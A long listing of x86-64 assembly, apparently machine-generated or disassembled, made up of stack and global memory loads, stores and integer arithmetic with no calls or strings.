mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
mov byte [rsp + 0x37a], al
mov rax, qword [rsp + 0x9c78]
movzx eax, word [rax]
movzx ecx, word [0x1401cc07c]
add eax, ecx
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0xbfa8]
mov qword [rsp + 0xcb18], rax
mov rax, qword [rsp + 0xc030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5320], eax
mov rax, qword [rsp + 0xb4b0]
mov eax, dword [rax]
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbca0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x349]
sub eax, ecx
mov byte [rsp + 0x354], al
movsx eax, word [rsp + 0x1758]
mov rcx, qword [rsp + 0xc4b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd840], ax
lea rax, [rsp + 0x1eb]
mov qword [rsp + 0xcb20], rax
mov rax, qword [rsp + 0xaaf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov word [rsp + 0x1704], ax
mov rax, qword [0x1401cdc58]
movzx eax, word [rax]
mov word [rsp + 0x1b5c], ax
mov eax, dword [rsp + 0x524c]
mov ecx, dword [rsp + 0x5130]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9060]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xc3e8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xad90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa590]
mov rax, qword [rax]
mov qword [rsp + 0xcb28], rax
mov rax, qword [rsp + 0xbbc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa9e8]
mov qword [rsp + 0xcb30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x90d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc810]
movzx eax, byte [rax]
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0xb2f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x185c]
sar eax, cl
mov word [0x1401cc1e8], ax
movsx eax, byte [rsp + 0x2b4]
movsx ecx, byte [rsp + 0x2d4]
or eax, ecx
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov rax, qword [rsp + 0x9430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2bb]
sub eax, ecx
mov byte [rsp + 0x35e], al
movzx eax, byte [rsp + 0x2fe]
mov byte [rsp + 0x37c], al
mov rax, qword [rsp + 0xb790]
mov rcx, qword [rsp + 0xc320]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xad98], rax
lea rax, [rsp + 0x5104]
mov qword [rsp + 0xcb38], rax
mov rax, qword [rsp + 0x91d0]
mov ecx, dword [rsp + 0x5388]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x95a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb030]
mov qword [rsp + 0xcb40], rax
movsx eax, byte [rsp + 0x34b]
mov rcx, qword [rsp + 0xab88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b0], al
movsx eax, word [0x1401cc04c]
movsx ecx, word [rsp + 0x1910]
add eax, ecx
mov word [0x1401cc1dc], ax
movzx eax, word [rsp + 0x155c]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa738]
mov word [rcx], ax
movsx eax, word [rsp + 0x19b4]
mov rcx, qword [0x1401cdc20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1300], ax
movzx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0xaad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99d0]
mov byte [rcx], al
lea rax, [rsp + 0x51a8]
mov qword [rsp + 0xcb48], rax
mov rax, qword [rsp + 0xaa70]
mov rcx, qword [rsp + 0xa5f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd0], rax
mov rax, qword [rsp + 0xba60]
mov ecx, dword [rsp + 0x50b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x505c], eax
mov rax, qword [rsp + 0xab20]
mov qword [rsp + 0xcb50], rax
movsx eax, word [rsp + 0x18fc]
movsx ecx, word [rsp + 0x1878]
sub eax, ecx
mov rcx, qword [rsp + 0xb4c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb850]
movzx eax, byte [rax]
mov byte [0x1401cd8d4], al
lea rax, [rsp + 0xdf]
mov qword [rsp + 0xcb58], rax
mov rax, qword [rsp + 0xb968]
movzx eax, word [rax]
mov rcx, qword [0x1401cdcd0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9498]
mov word [rcx], ax
movzx eax, word [rsp + 0x1778]
movzx ecx, word [rsp + 0x1748]
or eax, ecx
mov rcx, qword [rsp + 0x9180]
mov word [rcx], ax
lea rax, [rsp + 0x33b]
mov qword [rsp + 0xcb60], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x47c4]
shl eax, cl
mov dword [rsp + 0x4e4c], eax
lea rax, [rsp + 0xb388]
mov qword [rsp + 0xcb68], rax
mov eax, dword [rsp + 0x5498]
mov rcx, qword [rsp + 0xbdd8]
mov qword [rsp + 0xcb70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb70]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc388]
mov dword [rcx], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xa538]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb870], rax
mov rax, qword [rsp + 0xb158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1168]
add eax, ecx
mov word [0x1401cd960], ax
movzx eax, byte [rsp + 0x333]
mov byte [rsp + 0x37d], al
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xc178]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18e4], ax
movzx eax, byte [rsp + 0x34a]
mov byte [rsp + 0x37e], al
mov rax, qword [rsp + 0xbf38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa720]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb38]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4c8]
mov eax, dword [rax]
mov dword [rsp + 0x54b0], eax
mov rax, qword [rsp + 0xaec0]
mov ecx, dword [rsp + 0x52c4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca70]
mov rcx, qword [rsp + 0x8158]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc650], rax
mov rax, qword [0x1401cc010]
mov qword [rsp + 0xcb78], rax
movzx eax, word [rsp + 0x1894]
mov rcx, qword [rsp + 0xcab8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc188], ax
movzx eax, byte [rsp + 0x2d8]
movzx ecx, byte [rsp + 0x22a]
sub eax, ecx
mov byte [rsp + 0x324], al
lea rax, [rsp + 0x2b2]
mov qword [rsp + 0xcb80], rax
mov rax, qword [rsp + 0xac88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x350]
add eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0x1958]
movzx ecx, word [rsp + 0x16a4]
shl eax, cl
mov word [rsp + 0x1880], ax
mov rax, qword [rsp + 0x9110]
mov qword [rsp + 0xcb88], rax
mov rax, qword [rsp + 0xa948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x508c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x52f8], eax
lea rax, [rsp + 0x4fa0]
mov qword [rsp + 0xcb90], rax
mov rax, qword [rsp + 0x9480]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401cc010]
shr rax, cl
mov qword [rsp + 0xc250], rax
lea rax, [rsp + 0x17b]
mov qword [0x1401cdef0], rax
mov rax, qword [rsp + 0x9d58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x18ec], ax
movzx eax, word [rsp + 0x1744]
mov word [rsp + 0x1b60], ax
mov rax, qword [rsp + 0xb950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33d]
and eax, ecx
mov rcx, qword [rsp + 0x9eb0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa08]
movzx eax, word [rax]
mov word [rsp + 0x1b64], ax
mov rax, qword [rsp + 0xaec0]
mov ecx, dword [rsp + 0x4fe0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x9fc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa780]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8528], rax
mov rax, qword [rsp + 0x8428]
mov rcx, qword [rsp + 0xaad8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9490]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x14d]
mov rcx, qword [rsp + 0x9608]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc00f], al
movzx eax, word [rsp + 0x147c]
mov word [rsp + 0x1b68], ax
movsx eax, word [rsp + 0x1990]
mov rcx, qword [rsp + 0xa0e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b38], ax
mov rax, qword [rsp + 0xb660]
movzx eax, byte [rax]
mov byte [rsp + 0x37f], al
mov rax, qword [rsp + 0x9328]
movsx eax, word [rax]
mov rcx, qword [0x1401cd990]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1908], ax
mov rax, qword [rsp + 0x9228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ee0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54b0], eax
mov rax, qword [rsp + 0xcae0]
mov rax, qword [rax]
mov qword [rsp + 0xcb98], rax
mov rax, qword [rsp + 0xc258]
mov rcx, qword [rsp + 0xa580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5064], eax
mov rax, qword [rsp + 0xc478]
mov rax, qword [rax]
mov qword [rsp + 0xcba0], rax
movsx eax, byte [rsp + 0x2e7]
mov rcx, qword [rsp + 0xadb8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc0c7], al
mov rax, qword [0x1401cda50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22a]
xor eax, ecx
mov byte [rsp + 0x33d], al
movzx eax, word [rsp + 0x1af8]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1aa4], ax
lea rax, [rsp + 0x33e]
mov qword [rsp + 0xcba8], rax
movsx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x9178]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa6b8]
mov byte [rcx], al
lea rax, [rsp + 0x51c8]
mov qword [rsp + 0xcbb0], rax
mov rax, qword [rsp + 0xa920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8810]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9de0]
mov qword [rcx], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc518], rax
lea rax, [rsp + 0x4c88]
mov qword [rsp + 0xcbb8], rax
mov rax, qword [rsp + 0xb2f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x176c]
sub eax, ecx
mov word [0x1401cc1ec], ax
mov rax, qword [0x1401cdab8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1180]
add eax, ecx
mov word [rsp + 0x1b18], ax
mov rax, qword [rsp + 0xbc80]
movzx eax, byte [rax]
mov byte [rsp + 0x380], al
mov rax, qword [rsp + 0xb260]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x326], al
movzx eax, word [rsp + 0x1a88]
mov word [rsp + 0x1b6c], ax
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xc2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5174], eax
mov rax, qword [rsp + 0xae18]
mov rcx, qword [rsp + 0xc600]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc7d8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5060]
mov dword [rsp + 0x54b4], eax
mov rax, qword [rsp + 0xc548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa920]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc0a3]
sub eax, ecx
mov rcx, qword [0x1401cda80]
mov byte [rcx], al
movzx eax, word [rsp + 0x153c]
mov word [rsp + 0x1b70], ax
movzx eax, word [rsp + 0x194c]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14e4], ax
mov rax, qword [rsp + 0xa108]
movsx eax, word [rax]
mov rcx, qword [0x1401cdc58]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9980]
mov word [rcx], ax
lea rax, [rsp + 0x1ce]
mov qword [rsp + 0xcbc0], rax
mov rax, qword [rsp + 0x85f0]
mov rcx, qword [rsp + 0xaa58]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc718]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf88]
mov rax, qword [rax]
mov qword [rsp + 0xcbc8], rax
mov rax, qword [rsp + 0x9b78]
mov rcx, qword [rsp + 0xc348]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4fb0], eax
mov eax, dword [rsp + 0x50bc]
mov rcx, qword [rsp + 0xaec0]
mov qword [rsp + 0xcbd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb598]
mov dword [rcx], eax
lea rax, [rsp + 0x1a50]
mov qword [rsp + 0xcbd8], rax
mov rax, qword [rsp + 0xc840]
movzx eax, byte [rax]
mov byte [0x1401cd8d5], al
mov rax, qword [rsp + 0xbd60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34e]
and eax, ecx
mov byte [rsp + 0x2b3], al
movzx eax, word [rsp + 0x1648]
movzx ecx, word [0x1401cc0a4]
add eax, ecx
mov word [rsp + 0x1008], ax
movsx eax, word [rsp + 0x174c]
movsx ecx, word [rsp + 0x1a70]
sub eax, ecx
mov word [rsp + 0x1164], ax
mov rax, qword [rsp + 0xc860]
mov ecx, dword [rsp + 0x51b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5490], eax
mov rax, qword [rsp + 0xbb90]
mov rax, qword [rax]
mov qword [rsp + 0xcbe0], rax
mov rax, qword [rsp + 0xc598]
mov ecx, dword [rsp + 0x52ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
mov qword [rsp + 0xcbe8], rax
mov rax, qword [rsp + 0xc800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b18]
sub eax, ecx
mov word [rsp + 0x1520], ax
mov rax, qword [rsp + 0xa7b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbea0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc01b], al
movzx eax, word [rsp + 0x1168]
mov word [rsp + 0x1b74], ax
movzx eax, byte [rsp + 0x1d0]
movzx ecx, byte [rsp + 0x28f]
and eax, ecx
mov byte [rsp + 0x2db], al
movzx eax, word [rsp + 0x16d0]
movzx ecx, word [rsp + 0x1054]
add eax, ecx
mov rcx, qword [rsp + 0x9398]
mov word [rcx], ax
mov rax, qword [rsp + 0xb118]
mov rax, qword [rax]
mov qword [rsp + 0xcbf0], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xae38]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa5f8], rax
lea rax, [rsp + 0x50b4]
mov qword [rsp + 0xcbf8], rax
mov eax, dword [rsp + 0x503c]
movzx ecx, al
mov eax, dword [rsp + 0x5068]
shl eax, cl
mov dword [rsp + 0x53f0], eax
mov rax, qword [0x1401cd910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaae8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbf00]
mov word [rcx], ax
movsx eax, word [rsp + 0x1940]
mov rcx, qword [rsp + 0xbb38]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc0c0], ax
lea rax, [rsp + 0x2bb]
mov qword [rsp + 0xcc00], rax
movsx eax, byte [rsp + 0x313]
movsx ecx, byte [rsp + 0x20f]
sub eax, ecx
mov byte [rsp + 0x2fb], al
mov rax, qword [rsp + 0xc1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x381], al
mov rax, qword [rsp + 0xb588]
mov rcx, qword [rsp + 0xbc60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8698], rax
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0xb820]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96d0], rax
lea rax, [rsp + 0x4dfc]
mov qword [rsp + 0xcc08], rax
mov rax, qword [rsp + 0x9fc0]
mov rcx, qword [rsp + 0x9b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xee8]
mov word [rsp + 0x1b78], ax
mov rax, qword [rsp + 0xb0e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x349]
sub eax, ecx
mov byte [0x1401cc0ca], al
mov rax, qword [rsp + 0xaf00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12d8]
add eax, ecx
mov word [rsp + 0x1760], ax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x382], al
movsx eax, byte [rsp + 0x2b5]
movsx ecx, byte [rsp + 0x32c]
sub eax, ecx
mov rcx, qword [rsp + 0xa170]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a58]
mov rcx, qword [0x1401cdaa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1380], ax
lea rax, [rsp + 0x53ac]
mov qword [rsp + 0xcc10], rax
mov rax, qword [rsp + 0xab20]
mov rcx, qword [rsp + 0xbe18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7c8], rax
mov rax, qword [rsp + 0xca40]
mov rax, qword [rax]
mov qword [rsp + 0xcc18], rax
mov rax, qword [rsp + 0x95a8]
mov ecx, dword [rsp + 0x4ffc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbbf0]
mov dword [rcx], eax
lea rax, [rsp + 0x284]
mov qword [0x1401cdef8], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc05a]
sar eax, cl
mov byte [rsp + 0x23d], al
movsx eax, word [rsp + 0x1ab0]
mov rcx, qword [rsp + 0xc6c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14b8], ax
mov rax, qword [rsp + 0x9e10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb900]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xac38]
mov byte [rcx], al
lea rax, [rsp + 0x164c]
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xae70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4cd4]
shl eax, cl
mov dword [rsp + 0x5368], eax
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0x9b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51fc], eax
mov rax, qword [rsp + 0x84d8]
mov qword [rsp + 0xcc28], rax
mov rax, qword [rsp + 0xbb58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94b0], rax
mov rax, qword [rsp + 0xbf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x253]
and eax, ecx
mov byte [0x1401cd8d3], al
lea rax, [rsp + 0x2f1]
mov qword [rsp + 0xcc30], rax
movzx eax, word [rsp + 0x198c]
mov rcx, qword [rsp + 0xabd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaa00]
mov word [rcx], ax
movsx eax, word [rsp + 0x180c]
movsx ecx, word [0x1401cdb6c]
sub eax, ecx
mov word [rsp + 0x1618], ax
movzx eax, byte [rsp + 0x26a]
mov byte [rsp + 0x383], al
mov rax, qword [rsp + 0xbf60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ea0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc090]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb0]
mov qword [rsp + 0xcc38], rax
mov rax, qword [rsp + 0x9ca8]
mov rcx, qword [rsp + 0xbb90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ae8], rax
mov eax, dword [rsp + 0x5188]
mov dword [rsp + 0x54b8], eax
lea rax, [rsp + 0x1b60]
mov qword [0x1401cdf00], rax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x247]
sub eax, ecx
mov byte [rsp + 0x35f], al
movzx eax, word [rsp + 0x14f8]
mov rcx, qword [rsp + 0x9d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19ec], ax
movzx eax, word [rsp + 0x1620]
mov word [rsp + 0x1b7c], ax
mov rax, qword [0x1401cde40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaee8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0xc748]
mov rax, qword [rax]
mov qword [rsp + 0xcc40], rax
mov rax, qword [rsp + 0xcbb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ee4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9240]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9438]
mov rcx, qword [rsp + 0xb430]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0xadf0]
mov eax, dword [rax]
mov dword [rsp + 0x54bc], eax
mov rax, qword [rsp + 0xaa00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1740]
shl eax, cl
mov rcx, qword [0x1401cd7c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x32b]
movzx ecx, byte [rsp + 0x332]
xor eax, ecx
mov byte [rsp + 0xe9], al
movzx eax, byte [rsp + 0x101]
mov byte [rsp + 0x384], al
mov rax, qword [rsp + 0x9628]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa5d8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc078]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2ad]
mov rcx, qword [rsp + 0xbd60]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x288], al
mov rax, qword [rsp + 0x9918]
mov rcx, qword [rsp + 0xc0c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x471c], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xc100]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9de8]
mov qword [rcx], rax
lea rax, [rsp + 0x9c60]
mov qword [rsp + 0xcc48], rax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5378]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5008], eax
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa4d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdb10]
mov byte [rcx], al
movsx eax, word [rsp + 0x1878]
movsx ecx, word [rsp + 0x1b2c]
add eax, ecx
mov word [rsp + 0x1adc], ax
lea rax, [rsp + 0x256]
mov qword [rsp + 0xcc50], rax
mov rax, qword [rsp + 0xc978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17d0]
sub eax, ecx
mov rcx, qword [rsp + 0x9828]
mov word [rcx], ax
mov rax, qword [rsp + 0xae00]
movzx eax, word [rax]
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0x8ff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f4], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0xcc58], rax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x8520]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc9c0], rax
mov rax, qword [rsp + 0xbaf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17b]
or eax, ecx
mov byte [0x1401cc0cb], al
mov rax, qword [rsp + 0xae58]
movzx eax, word [rax]
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc468]
mov word [rcx], ax
movzx eax, byte [rsp + 0x212]
mov byte [rsp + 0x385], al
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0xb780]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2d6], al
mov rax, qword [rsp + 0x96f8]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0xa378]
mov rax, qword [rax]
mov qword [rsp + 0xcc60], rax
mov rax, qword [rsp + 0xb6f8]
mov rcx, qword [rsp + 0x9108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f9c], eax
mov rax, qword [rsp + 0xa580]
mov eax, dword [rax]
mov dword [rsp + 0x54c0], eax
movzx eax, word [0x1401cc174]
mov word [0x1401cdf08], ax
mov rax, qword [rsp + 0xc5b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37c]
add eax, ecx
mov byte [rsp + 0x36e], al
mov rax, qword [rsp + 0xb0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19ac]
sub eax, ecx
mov word [rsp + 0x1abc], ax
movzx eax, byte [rsp + 0x307]
mov byte [rsp + 0x386], al
mov rax, qword [rsp + 0xb858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17e4]
add eax, ecx
mov rcx, qword [rsp + 0xadf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb798]
mov eax, dword [rax]
mov dword [rsp + 0x54c4], eax
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x9750]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5a0], rax
lea rax, [rsp + 0x9d88]
mov qword [rsp + 0xcc68], rax
mov rax, qword [rsp + 0xa500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f00]
mov dword [rcx], eax
mov rax, qword [0x1401cd8a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb148]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x9550]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a40]
sub eax, ecx
mov word [0x1401cd820], ax
movzx eax, word [rsp + 0x1914]
mov word [rsp + 0x1b88], ax
movzx eax, byte [rsp + 0x224]
mov rcx, qword [rsp + 0xca90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x32f], al
mov rax, qword [rsp + 0x9ac8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb9e0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5c], al
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc6a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa708], rax
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54c0]
